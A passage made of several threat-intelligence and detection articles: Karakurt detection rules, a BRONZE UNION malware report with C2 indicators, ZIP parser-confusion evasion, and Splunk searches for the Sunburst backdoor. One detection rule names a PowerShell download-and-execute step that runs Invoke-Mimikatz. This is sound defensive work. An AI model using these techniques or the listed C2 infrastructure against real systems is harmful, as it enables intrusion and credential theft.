MSFT_SCMEventLogEvent" - User != "S-1-5-32-544" - PossibleCause != "Permanent” - **Mitigation Policies**: Ensure that Group Policy enforces only authorized users or administrators are able to use tools such as cmd.exe, powershell.exe, sc.exe, and reg.exe. Limiting these administrative tools to only authorized personnel will greatly limit the chance of these attacks being carried out on lower privileged users. MITRE recommends the following mitigations for T1543.003: 3. **OS Credential Dumping (T1003)**: Actors like Karakurt will almost always require additional usernames and passwords beyond those they started with in order to move laterally to other hosts and to find additional sensitive data. Mimikatz is an open-source tool with regular version updates that evade many antivirus solutions. Focusing on the command line arguments and subsequent behavior is a solid foundation to limit the actor’s ability to spread. - **Detection Process**: - Process Name == powershell.exe - Command Line CONTAINS ((“DownloadString” OR “DownloadFile”) AND “http” AND “.ps1” AND (“IEX” OR “Invoke-Expression”) AND “Invoke-Mimikatz”) - **Mitigation Policies**: MITRE recommends the following mitigations for T1003: 4. **Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003)**: The last possible prevention opportunity for this intrusion is when they attempt to exfiltrate collected victim data. Preventing an actor from establishing those connections to untrusted sites or identifying when legitimate services are being abused is crucial to stopping a data breach. A determined actor like Karakurt is not going to give up when one avenue fails; they will be persistent and leverage their exfil fallback options. Therefore, it is key to be aggressive in responding when these alerts are triggered. - **Detection Process**: Detecting exfiltration is well suited for IDS/IPS and DLP solutions. These products should be configured to identify sensitive files. If sensitive files, or a large amount of web traffic is sent to a rare external IP, it should be detected or prevented depending on security policies for the security control. Historical NetFlow data logging can also bubble up hosts that are experiencing uncommon peaks in outgoing traffic. - **Mitigation Policies**: MITRE recommends the following mitigations for T1048.003: M1057, M1037, M1031, M1030 ## Conclusion In summary, this attack graph will evaluate security and incident response processes and support the improvement of your security control posture against an actor with focused operations to find and exfiltrate sensitive data. With data generated from continuous testing and use of this attack graph, you can focus your teams on achieving key security outcomes, adjust your security controls, and work to elevate your total security program effectiveness against a known and dangerous threat. AttackIQ stands at the ready to help security teams implement this attack graph and other aspects of the AttackIQ Security Optimization Platform, including through our co-managed security service, AttackIQ Vanguard.
# A Peek into BRONZE UNION’s Toolbox ## Summary Secureworks® Counter Threat Unit™ (CTU) researchers have tracked the activities of the BRONZE UNION threat group (also known as Emissary Panda, APT 27, and LuckyMouse) since 2013. CTU™ analysis suggests that BRONZE UNION is located in the People's Republic of China. The threat group has historically leveraged a variety of publicly available and self-developed tools to gain access to targeted networks in pursuit of its political and military intelligence-collection objectives. ## Breathing new life into old tools In 2018, CTU researchers identified evidence of BRONZE UNION leveraging tools that have been publicly available for years. However, the variants used in 2018 included updated code. ### ZxShell games In mid-2018, CTU researchers observed BRONZE UNION deploying an updated version of the ZxShell remote access trojan (RAT). ZxShell was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007. Although various threat actors have created different variations of the RAT, the version used by BRONZE UNION in 2018 contained some previously unobserved properties that suggest the threat group's capabilities continue to evolve: - The malware embedded the well-known HTran packet redirection tool. - The malware was signed with digital certificates that were signed by Hangzhou Shunwang Technology Co., Ltd (Serial: 29 f7 33 6f 60 92 3a f0 3e 31 f2 a5) and Shanghai Hintsoft Co., Ltd. (Serial: 09 89 c9 78 04 c9 3e c0 00 4e 28 43). These certificates are not exclusively used by BRONZE UNION but may indicate BRONZE UNION activity. "You look like you've seen a Gh0st RAT" Like ZxShell, publicly available Gh0st RAT source code led to the emergence of several different variants. In a 2018 campaign, BRONZE UNION likely deployed modified Gh0st RAT malware to multiple systems within a compromised environment that were important to the threat actors' objective. When executed with administrator privileges, the Gh0st RAT binary file was written to `%System%\FastUserSwitchingCompatibilitysex.dll`. The installer then created a Windows service and associated service dynamic link library (DLL) chosen from the names listed in the table below. | Service name | DLL installed in %System% | |-----------------------|------------------------------------| | Ias | Iassex.dll | | Irmon | Irmonsex.dll | | Nla | Nlasex.dll | | Ntmssvc | Ntmssvcsex.dll | | NWCWorkstation | NWCWorkstationsex.dll | | Nwsapagent | Nwsapagentsex.dll | | SRService | SRServicesex.dll | | Wmi | Wmisex.dll | | WmdmPmSp | WmdmPmSpsex.dll | | LogonHours | LogonHourssex.dll | | PCAudit | PCAuditsex.dll | | helpsvc | helpsvcsex.dll | | uploadmgr | uploadmgrsex.dll | This Gh0st RAT sample communicated with IP address 43.242.35.16 on TCP port 443, although the traffic is a custom binary protocol and not HTTPS. The malware author also modified the standard Gh0st RAT headers to obfuscate the network traffic. Bytes 0-4, which are typically known as the Gh0st RAT "identifier," are randomized in this case. Bytes 5-8 indicate the packet size, and bytes 9-12 indicate the zlib-decompressed packet size. In a departure from previous Gh0st RAT versions, the five bytes at the end of this packet are an XOR key, which must be applied to the packet data before the zlib decompression can be performed. The XOR key is different for each execution of the malware. Once the packet is decoded and decompressed, the data is visible. The first byte shows the value 0x66, which is the Gh0st RAT code for "login". After sending the initial phone-home request, Gh0st RAT exchanges 22-byte 'command' packets with its command and control (C2) server. Once again, the first five bytes are randomized and the zlib-compressed part of the packet is XOR-encoded, but the same identifiable structure remains. ### Creating custom solutions In addition to publicly available tools, BRONZE UNION has also used proprietary remote access tools such as SysUpdate and HyperBro since 2016. Despite self-developed tools generally benefitting from lower detection rates than publicly available tools, the threat actors appear to use their own tools more sparingly after securing consistent network access. SysUpdate is a multi-stage malware used exclusively by BRONZE UNION. It has been delivered by multiple methods. In one instance observed by CTU researchers, it was downloaded by a malicious Word document using the Dynamic Data Exchange (DDE) embedded command method. In another incident, the threat actor manually deployed SysUpdate via previously stolen credentials after gaining access to the environment. In a third case, it was delivered via a redirect from a strategic web compromise (SWC). Regardless of the delivery method, the payload is a WinRAR self-extracting (SFX) file that installs the SysUpdate stage 1 payload. The stage 1 payload is responsible for the following tasks: - Installing the stage 1 malware through DLL search-order hijacking - Setting up persistence by configuring either a registry Run key or an "Own Process" Windows service depending on privileges available at the time of installation - Contacting a C2 server to retrieve and install a second malware payload SysUpdate stage 1 has no capability beyond downloading the second payload file, SysUpdate Main. SysUpdate Main employs HTTP communications and uses the hard-coded User-Agent "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36". It downloads a file named m.bin using the HTTP GET method and injects this file into a new svchost.exe process without saving the file to disk. After performing this download, SysUpdate Main reverts to its binary protocol for any additional commands from the C2 server, beaconing every three minutes. The SysUpdate Main file analyzed by CTU researchers included remote access capabilities such as managing files and processes, launching a command shell, interacting with services, taking screenshots, and uploading and downloading additional malware payloads. SysUpdate is flexible malware, as capabilities can be easily introduced and withdrawn by supplying a new payload file. The operator could remove second-stage capabilities at any time and revert to the first stage by supplying a replacement payload file. By withdrawing second-stage payloads when not in use, operators can limit exposure of their full capabilities if the malicious activity is detected. ## Conclusion BRONZE UNION was one of the most prolific and active targeted threat groups tracked by CTU researchers in 2017 and 2018. The threat actors have access to a wide range of tools, so they can operate flexibly and select tools appropriate for intrusion challenges. During complex intrusion scenarios, the threat actors leverage their proprietary tools, which offer custom functionality and lower detection rates. They appear to prefer using widely available tools and web shells to maintain access to networks over longer periods. After accessing a network, the threat actors are adept at circumventing common security controls, escalating privileges, and maintaining their access to high-value systems over long periods of time. ## Threat indicators The threat indicators are associated with BRONZE UNION activity. Note that IP addresses can be reallocated. The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |---------------------------------------------------------------------------------------------|-------------|----------------------------------------------| | b7f958f93e2f297e717cffc2fe43f2e9 | MD5 | ZxShell installer hash | | fa53f09cd22b46b554762dc1a12c99dd692ec681 | SHA1 | ZxShell installer hash | | ef049339f1eb091cda335b51939f91e784e1ab1e006056d5a6bb526743b6cbc7 | SHA256 | ZxShell installer hash | | 62bcbfae5276064615d0d45b895fdff2 | MD5 | ZxShell service DLL (AudioSdk.dll) hash | | 9020e5010a916c6187597e9932402ed29098371c | SHA1 | ZxShell service DLL (AudioSdk.dll) hash | | c2229a463637433451a3a50ccf3c888da8202058f5022ffd2b00fc411b395b79 | SHA256 | ZxShell service DLL (AudioSdk.dll) hash | | ae9c39e0d9a0c0ae48a72cb10521d2f3 | MD5 | Malicious driver associated with ZxShell (autochk.sys) hash | | 2e80926d67ea68acb1df441be5ee1f2d86e7f92b | SHA1 | Malicious driver associated with ZxShell (autochk.sys) hash | | b28c024db80cf3e7d5b24ccc9342014de19be990efe154ba9a7d17d9e158eecb | SHA256 | Malicious driver associated with ZxShell (autochk.sys) hash | | language.wikaba.com | Domain | ZxShell C2 server name | | solution.instanthq.com | Domain | ZxShell C2 server name | | 40cdd3cfe86c93872b163fb3550f47f6 | MD5 | Gh0st RAT installer (T.exe) hash | | ad2b27ea2fde31b1cc5104c01a21b22fef507c3d | SHA1 | Gh0st RAT installer (T.exe) hash | | 9a1437edd0493ff615a77b9ee1717c5f49ab0b28d1778898f591fb803655fbc6 | SHA256 | Gh0st RAT installer (T.exe) hash | | 9c42cd7efbdfc47303d051f056c52d29 | MD5 | Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) hash | | b8aa43dc92bec864c94442e6bf8c629c3bd0fe92 | SHA1 | Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) hash | | 0b1217bd95678ca4e6f81952226a0cfd639ce4b2f7e7fce94ab177d42c5abf62 | SHA256 | Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) hash | | 06348bbe0cc839f23c2d9471cfb19de3 | MD5 | Gh0st RAT installer (Update.exe) hash | | cd7c92ac0b36a8befa1b151537fc3fcdafca8606 | SHA1 | Gh0st RAT installer (Update.exe) hash | | b43ccd5b23d348f72466612d597ad71246113a9d524c9b27e682d1f7300a0672 | SHA256 | Gh0st RAT installer (Update.exe) hash | | 43.242.35.16 | IP | Gh0st RAT C2 server observed in April 2018 | | 103.85.27.78 | IP | Gh0st RAT C2 server observed in April 2018 | | trprivates.com | Domain | SysUpdate C2 server sinkholed by CTU researchers | | mildupdate.com | Domain | SysUpdate C2 server sinkholed by CTU researchers | | 43.242.35.13 | IP | SysUpdate C2 server observed in late 2017 | | c8d83840b96f5a186e7bb6320e998f72 | MD5 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 42e3fbff6f5576a3f4e8f941ea3dc00462d7838c | SHA1 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 938f32822c1a6b1140ac0af60a06ae39011464de37c511921d8a7d9c6a69c9df | SHA256 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | ef41da16fdedcc450d0cc6ca708a9222 | MD5 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 714215d63b2f2d8f2caf94902af2f25452c21264 | SHA1 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 0777fa4832ecf164029e23d0125b4fdc87e2f46ffc4e1badd6a45cf5be721660 | SHA256 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | c25e8e4a2d5314ea55afd09845b3e886 | MD5 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | e8cf3522b68a51b2aabcfc6f98b39da15a23da1d | SHA1 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 76bc063f8f348a202f92faac0c36f1a0a122f9b3568342abcd97651be7adec08 | SHA256 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 88a27758f3066dd4da18983a005ddc20 | MD5 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 1f9c979cbab9ff2519aa3bf3006a752177f4d8c6 | SHA1 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 24a7e226f14fb86275b423d63d0332bfb95e261532f0667517c01da9d2bc51b3 | SHA256 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 17acc1d983dde32b5bcde9c9624848b0 | MD5 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | a03b14cac23dcfa2b2e12d5a8e53959d5a2e8fa2 | SHA1 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | 3f69c0e7392bc6441a308281b07627797613d89666a5c9b22cb104edf359c46b | SHA256 | SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION | | a13772805b772f374f7d709999a816d5 | MD5 | Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION | | fa9600f1d15e61d5f2bdb8ac0399b7f42da63a01 | SHA1 | Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION | | d40903560072bb777290d75d7e31a927f05924bffe00d26713c6b39e8e68ae82 | SHA256 | Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION | | 78142cdad08524475f710e5702827a66 | MD5 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | bc20da9465a7a7f9c2d5666ea5370c6c1e988441 | SHA1 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | 3cebc9161e3e964a2e7651566c5a710d0625192ddecd14cfc5a873e7bc6db96f | SHA256 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | 0955e01bc26455965b682247ecb86add | MD5 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 23533c452b12131253e4e21f00ae082eba7cfdb3 | SHA1 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 9d9c9c17ae4100b817a311ea0c6402e9f3eedc94741423796df3ead1375aaebf | SHA256 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | d4bb5c6364c4b4a07e6bbf2177129655 | MD5 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | 0689e40696a0cbecc5c3391e8b8b40d27a033186 | SHA1 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | dcfc9e4077705385328133557629fffee11662b7843b34dd4e1e42404ac2e921 | SHA256 | Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION | | cbb84d382724dd8adc5725dfca9b4af1 | MD5 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 88de66897c448229b52c2ac991ba63e14fc3276b | SHA1 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 01926af0ff76607b3859734dda4b97fc55a8b8c2582982af786977929a414092 | SHA256 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 8cb11e271aba3354545a77751c1e783e | MD5 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | e49833f2a4ec0422410a1c28ef58c9fc33c3a13f | SHA1 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 7f16b19f22ab0a33f9bf284aa0c2a9b9a429c4f4b7b801f2d2d80440eb74437f | SHA256 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 53d0db22c5abaf904d85facb70a60c8e | MD5 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | d363606e6159a786b06891227efac2164eeda7b3 | SHA1 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | a941d46d6352fb2d70bba1423c4890dd5516e45d81f826900272ed14d0b678f4 | SHA256 | Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION | | 9814cdc7033a97fcf4f31aa377be60ba | MD5 | Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION | | 2d568eb8ef17529e8bb6e658a032690e0f527d24 | SHA1 | Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION | | 9c1c798ba8b7f6f2334dcfcb8066be05d49c2e1395f7e7c8332e42afa708f5ae | SHA256 | Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION | | 8b8e44bd5e4a9f7d58714ba9ca72351c | MD5 | Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate | | 02704ef94519eee0a57073b1e530ffea73df2a1f | SHA1 | Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate | | 86de90119b572620fd6a690b903c721679359cdc81f3d3327677e13539d5f626 | SHA256 | Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate |
# How to Prevent Zip File Exploitation ZIP files are a known vector for phishing campaigns, ransomware, and other malicious actions. Because the format isn’t generally executable (minus self-extracting ZIPs), it hasn’t gotten as much attention as executable formats. This blog post looks at how the format can be exploited and shares the solution we came up with. Compressed file formats come in many flavors such as tarballs (.tar.gz), RAR Archives (.rar), and 7Zip (.7z), but ZIP has become the foundation for widely used file formats in addition to becoming the generic term used for compressing and bundling files. It forms the basis of Microsoft Office OpenXML files (docx, xlsx, pptx file extensions), Java Archives (JAR), Android Packages (APK), and Electronic Publication (EPUB) files. ZIP structures are also found inside of self-extracting EXEs, hiding in PDFs and other obscure formats. The redundancies inherent in the ZIP format, combined with Postel’s Law (i.e., “be conservative in what you send, be liberal in what you accept”), have created a wide variety of “acceptable” ZIPs. Along with the variety, choices made by ZIP parsers can lead to a single ZIP producing different output based on the ZIP parser used. In this post, we highlight some of the redundancies and parts of the format that leave the interpretation of a given file in the hands of the application reading it. These differences in interpretation can be exploited by adversaries, and we’ll hint at what we’re doing to see these maliciously crafted ZIPs from all angles. ## ZIP Name Confusion The ZIP format has been explained visually by corkami and others, but I will attempt to reduce the format for the sake of this example to two chunks of data that can provide a name for a stored file. Outside of symlinks and hard links, filesystems generally enforce uniqueness of file names. ZIP, on the other hand, does not. If you glance at corkami’s ZIP 101 poster, you can see that ZIP is meant to be read from the bottom up, unlike many other formats. But odd things can happen if you read in the other direction. Two data structures in the ZIP format can be responsible for holding the file name, specifically the Central Directory Entry and the Local File Header. The Central Directory is at the end of the file (right before the End of Central Directory structure mentioned later), and a Local File Header is prefixed to each of the stored files, earlier in the file. Parsers can be confused by putting two different names into each structure that refer to the same data. The malicious impact is negligible (assuming a ZIP parser patched for the ZIP Slip vulnerability) but it provides a nice starting point to examine the complexities of how different parsers respond to malformed ZIP files. A short example file and program can make this more concrete. ```ruby #!/usr/bin/env ruby require 'zip' ## reads from local file header name Zip::InputStream.open('centralbar-localfoo.zip') do |zis| entry = zis.get_next_entry puts "#{entry.name}" end ## reads from central directory name zf = Zip::File.new('centralbar-localfoo.zip') zf.each_with_index do |entry, index| puts "#{entry.name}" end ``` This concisely demonstrates in one script how two functions that look very similar can produce different results. In the first, the ZIP is read in a streaming mode that finds files by the Local File Header alone; in the second, it is read from the Central Directory Entry after the stored data is trusted. This has some interesting history in that System Enhancement Associates (SEA) ARC format, popular in the early floppy shareware days, just had file headers and no central directory. A lawsuit by SEA against Phil Katz for his PKARC utility led him to create ZIP. From looking at the original release docs, it seems that the central directory was helpful in keeping track of archives that spanned several floppy disks. Floppies have disappeared (except for the save icon), but ZIP has remained. While this isn’t a threat vector per se (or even unexpected to experienced rubyists), the variations in ZIPs don’t stop at giving a file two possible names. File sizes, compression methods, duplicated names, and concatenated zips can all give difficulties to programmers trying to open them safely. ## Additional Methods ### File Sizes File sizes — the size of the compressed and uncompressed data — are stored in the Central Directory Entry or the Local File Header, but can also be stored in extensions to the ZIP format known as ZIP64, or in a structure known as the Data Descriptor, which acts like a footer to the stored data. Disagreements in the compressed size can lead to different extracted files, especially if the files are stored only (i.e., added to the ZIP uncompressed). ### Compression Methods Compression methods define what algorithm was used to compress the data stored in the ZIP, or none in the case of files too small to compress or stored uncompressed on purpose by the ZIP creator. They are an entire field in the aforementioned structs, but luckily only the DEFLATE method has widespread acceptance, and others such as LZMA are sometimes seen. Because DEFLATE blocks can also be uncompressed, the compression method tied with size and offset disagreements can allow subsets of files to be extracted by one parser but the full file extracted by another. ### Duplicated Names Similar to the foo/bar name confusion in the centralbar-localfoo.zip, specially crafted ZIP files can have names that collide with one another in a variety of ways. Multiple Local File Headers can simply have the same name, Central Directory Entries can report duplicate names, and there’s no protection from one overwriting the other if the unzipping application is blindly writing files. ### Concatenated ZIPs Concatenated ZIPs are one of the simplest to construct evasion methods, such as this nanocore delivery method. Based on the aforementioned issues, you can see how two concatenated ZIP files might look like a valid ZIP file to a parser, but which one gets extracted is up to the design. For all of these cases, we wanted a parser that wouldn’t make an opinionated decision but would give us every possible file that could be hiding inside a ZIP. One more example of ZIP confusion relating to concatenated ZIPs follows. ### End of Central Directory Offset Confusion The End of Central Directory (EOCD) is the suffix at the end of a well-formed ZIP file. It acts a bit like if the last page of a book told you which page the index (the Central Directory itself) was on. In books, we normally think of them starting with page one, and in binaries we similarly think of them starting from offset zero. But ZIP can be embedded within other file formats, meaning there can be different interpretations of what offset zero means. Different parsers can make different choices — Python’s zipfile, Rust’s zip-rs, and Info-Zip (standard unzip command on Linux/Mac) take the offset to the Central Directory as an offset from the start of the file. Go’s ZIP archive extraction starts looking from the start of the compressed data. This means you can have two different Central Directories within one file and see completely different contents depending on the interpretation of the same offset by a given unzipping tool. In addition to file name and EOCD offset confusion, the ZIP format is robust (or weak) enough that many other tricks can fool ZIP parsers. If an adversary knows what tool is reading their ZIP payload, chances are they can craft a ZIP to confuse it. Or they can make the ZIP look enough like another file to evade detection. For instance, some threat actors will have their stager download what looks like an image file, but is actually ZIP files with the file fingerprint of the image file prepended or simply renamed. ## Our Solution: Build an Omnivorous UnZIP We could have used existing parsers in our language of choice (Rust) but even that parser makes choices when confronted with the confusing ZIP issues above. We wanted a tool that could explore and extract from ZIP files with all sorts of anomalous content, so we decided to make our own. We decided to create a ZIP parser that doesn’t make opinionated choices when confronted with disagreements in a ZIP file. Instead, we attempt to extract the superset of information from any given ZIP it is confronted with. In other words, if we get two options for a compressed size, we try them both. If we see two names for the same file, we report them both. If we see two files with the same name, we extract them both for processing. Our preliminary results are promising, and we are continuing work to make sure our parser gets as many interpretations of ZIP files as programmers have seen fit to implement. In a future blog post, we’ll get into more specifics about our Robust ZIP Parsing in Rust. If there is community interest, we may open source this library and the tools based on it for use by the InfoSec community and anyone interested in exploring the vast corner cases inside of this useful and popular file format.
# Using Splunk to Detect Sunburst Backdoor **TL;DR:** This blog contains immediate guidance on using Splunk Core and Splunk Enterprise Security to protect (and detect activity on) your network from the Sunburst Backdoor malware delivered via SolarWinds Orion software. Splunk’s threat research team will release more guidance in the coming week. Please note that you may see some malicious network activity, but it may not mean your network is compromised. As always, review carefully. ## Introduction to Sunburst Backdoor On Sunday afternoon, FireEye released a report on what they are calling the “Sunburst Backdoor.” I highly recommend you read their phenomenal whitepaper for an in-depth analysis, but here are the basics: an advanced adversary trojanized a legitimate DLL of the SolarWinds Orion software and fed that into the SolarWinds customers’ update cycle. Once infected, this trojanized backdoor allows the adversary to move laterally in a victim’s network and steal their critical data. At this time, FireEye has detected global activity going back at least to the spring of 2020 with many different verticals targeted. Combined with the recent CISA Emergency Directive 21-01, we felt it was essential to provide a quick response with high-level guidance to our customers to help them detect and protect their networks. Splunk’s research team will provide much more bespoke and customized detections as they work the scenario through our labs in the coming days. ## What You Need to Know The FireEye report reveals that this attack was perpetrated by an advanced adversary who carefully selected targets and changed their attacking infrastructure to match geographical location and even named attacking hosts to match their victims to disguise their traffic better. By using a trusted software partner like SolarWinds Orion, they could utilize SolarWinds' position in the network to spread laterally across on-prem and cloud infrastructures to capture and exfiltrate data. While Sunburst Backdoor is a sophisticated attack vector, it is still just a trojan on a network with lateral movement. Many of your typical network defense techniques and incident response techniques can be utilized immediately. If you know which hosts on your network are running SolarWinds Orion, start your hunting with those hosts as this is where the adversary gains a foothold. The Sunburst Backdoor should only be effective on those hosts. Still, the added threat here is any lateral movement out from the Orion hosts, using common techniques or credentials harvested from Orion. ## Detection in Splunk Enterprise Security An event like Sunburst is a great time to revisit our blog, “How Do I Add COVID (or Any) Threat Intelligence From the Internet to Splunk Enterprise Security?” on adding threat intelligence quickly to Splunk Enterprise Security (ES). You can simply swap out the “COVID” threat lists with “SUNBURST” threat lists. This blog will help you update your Splunk SIEM with the IOCs currently released from FireEye and give you detection results if any hosts become infected in the future. My colleague Shannon Davis has already whipped together several local threat intel files for you to ingest into ES using the techniques above! ## IOCs: DNS, Hashes, and IPs First, let’s review the IOCs that FireEye kindly released in their GitHub repo. You could go through and make many “OR” statements and look through your DNS, but I have created some quick lookup files that you could use, especially as those IOCs start getting more and more verbose. Take the guidance from my previous blog posts “Lookup Before You Go-Go...Hunting” and “Hunting COVID Themed Attacks with IOCs.” I’ve also started throwing some lookup files into a GitHub repo, which you can explore independently. Please note, this is based on what has been released by FireEye or other vendors, but it should get you started. For example, create lookup tables as I indicated in the blogs above or from my GitHub repository. Then, run a search like below, and you can find hosts that have communicated to the domains so far detected. ```spl index=main sourcetype=stream:* | lookup sunburstDOMAIN_lookup Domain AS query | search isBad=TRUE | stats VALUES(query) AS "Sunburst" by src_ip ``` Just change the search query and lookup file to match what type of IOC you are looking for (domains, IPs, or hashes). If you detect traffic to these IPs or domains, take a good look at the Snort alerts released by FireEye. If you are collecting any firewall or proxy traffic logs, you might be able to have a better idea of your compromised hosts looking for traffic with these strings in the URL: - /swip/upd/SolarWinds.CortexPlugin.Components.xml - /swip/Upload.ashx - /swip/upd/ ## Lateral Movement Once the adversary has access to the network via the trojanized DLL, they can be detected moving laterally to find and exfiltrate information. Although we have not seen the logs, we can safely assume they are still obeying the laws of network traffic. Using the ever handy-dandy Splunk Security Essentials (SSE) tool, I exported several searches into this PDF. You can use these searches either as is or as inspiration for your own. I highly recommend that you start by looking at any suspicious traffic emanating to or from SolarWinds machines in your network. ## Sysmon and Named Pipe One interesting tidbit released in the FireEye report was also the existence of a named pipe. If you are using Sysmon and Splunk, please take a look at Event Codes 17 and 18 and the named pipe “583da945-62af-10e8-4902-a8f205c72b2e.” We’ve provided an example search below: ```spl index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=17 OR EventCode=18) PipeName=583da945-62af-10e8-4902-a8f205c72b2e ``` We are also seeing some great work done by the community for Sysmon and Splunk queries but have been unable to test them at this time. Take a quick Google and you may find some gold! ## Azure Active Directory Microsoft has also determined that adversaries utilizing the Sunburst Backdoor targeted the Azure AD of victims as part of their lateral movement. This was either done via captured administrative passwords or forged SAML tokens. Luckily, Splunk (via the dapper Ryan Lait) has you covered! If you brought your Azure data into Splunk, you can get some great insight into the activity that the adversary may have taken. The Azure Active Directory Audit data collected by the Microsoft Azure Add-on for Splunk can help hunt some of the techniques leveraged by this actor. These audit logs capture every interaction between users and resources inside Azure. Here are some example searches to detect: ### Monitoring For Changes to App Registrations and Service Principals **New Service Principals:** ```spl sourcetype="azure:aad:audit" activityDisplayName="Add service principal" | stats values(activityDisplayName) AS Action, values(initiatedBy.user.userPrincipalName) AS UPN, values(targetResources{}.displayName) AS Target, values(targetResources{}.modifiedProperties{}.displayName) AS "Modified Resources", values(targetResources{}.modifiedProperties{}.oldValue) AS "Old Values", values(targetResources{}.modifiedProperties{}.newValue) AS "New Values" by correlationId | fields - correlationId ``` **Credentials and certificates added to Apps or Service Principals:** ```spl sourcetype="azure:aad:audit" activityDisplayName="Add service principal credentials" ``` **Permissions and role assignments added to Apps or Service Principals:** ```spl sourcetype="azure:aad:audit" activityDisplayName="Add app role assignment to service principal" OR activityDisplayName="Add delegated permission grant" OR activityDisplayName="Add application" | stats values(initiatedBy.user.userPrincipalName) AS UPN, values(targetResources{}.displayName) AS Target, values(targetResources{}.modifiedProperties{}.displayName) AS "Modified Resources", values(targetResources{}.modifiedProperties{}.oldValue) AS "Old Values", values(targetResources{}.modifiedProperties{}.newValue) AS "New Values" by correlationId activityDisplayName | fields - correlationId ``` Use this search to investigate users adding sensitive permissions to app registrations. **Apps modified to allow multi-tenant access:** ```spl sourcetype="azure:aad:audit" activityDisplayName="Update application" operationType=Update result=success targetResources{}.modifiedProperties{}.displayName=AvailableToOtherTenants | table activityDateTime initiatedBy.user.userPrincipalName, targetResources{}.displayName additionalDetails{}.value ``` **Changes to Azure AD Custom Domains:** ```spl sourcetype="azure:aad:audit" activityDisplayName="Add unverified domain" OR activityDisplayName=*domain* | stats values(activityDisplayName) AS Action, values(initiatedBy.user.userPrincipalName) AS UPN, values(targetResources{}.displayName) AS Target, values(targetResources{}.modifiedProperties{}.displayName) AS "Modified Resources", values(targetResources{}.modifiedProperties{}.oldValue) AS "Old Values", values(targetResources{}.modifiedProperties{}.newValue) AS "New Values" by correlationId | fields - correlationId ``` Make sure to check out the Microsoft Azure App for Splunk for additional searches and pre-built security content for Azure data. ## VPS Hosts At this time, it is believed that adversaries have utilized geographically relevant (meaning IP addresses will be local to the country of the victim) Virtual Private Servers (VPS) hosts to access victim networks. Although there is no definitive list of these IPs, we recommend that customers review external to internal network traffic to determine if unknown IP addresses have accessed their systems (especially SolarWinds devices) since spring 2020. ## TSTAT Searches (Updated!) As Splunkers around the world have been working to find/detect the Sunburst activity, many of our customers have found that our quick searches above were not scalable and turned to TSTATS to help them cope with the volume in their data models. My colleague Don Slife went ahead and whipped up some queries that you might find useful AND scalable. Please note, you must have CIM compliant data in data models to run these searches. ### To find malicious domains in network resolution data model This search will look across DNS data in the Network Resolution data model using the sunburstDOMAIN_lookup file above. If you would prefer, remove the subsearch and just look for the avsvmcloud[.]com domain in order to detect the primary IOC. ```spl | tstats summariesonly=true earliest(_time) as earliest latest(_time) as latest count as total_conn values(DNS.query) as query from datamodel=Network_Resolution where [| inputlookup sunburstDOMAIN_lookup | rename Domain as DNS.query | table DNS.query] OR DNS.query=*avsvmcloud.com by DNS.src DNS.vendor_product DNS.record_type DNS.message_type | sort earliest | eval earliest=strftime(earliest, "%c"), latest=strftime(latest, "%c") ``` ### To find malicious IP addresses in network traffic data model This search will look across the network traffic data model using the sunburstIP_lookup files we referenced above. ```spl | tstats summariesonly=true earliest(_time) as earliest latest(_time) as latest count as total_conn values(All_Traffic.dest) as dest from datamodel=Network_Traffic where [| inputlookup sunburstIP_lookup | rename IP as All_Traffic.dest | table All_Traffic.dest] by All_Traffic.src All_Traffic.vendor_product | sort earliest | eval earliest=strftime(earliest, 